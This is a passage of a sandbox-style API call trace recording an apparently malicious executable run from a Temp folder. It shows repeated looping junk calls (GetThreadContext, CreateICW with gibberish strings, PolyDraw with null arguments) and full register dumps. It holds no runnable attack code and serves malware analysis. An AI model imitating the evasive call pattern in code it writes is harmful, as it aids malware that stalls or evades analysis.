	[0066.173] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.173] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.174] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.174] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.174] GetConsoleCP () returned 0x0
	[0066.174] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.174] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.175] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.175] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.175] GetConsoleCP () returned 0x0
	[0066.175] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 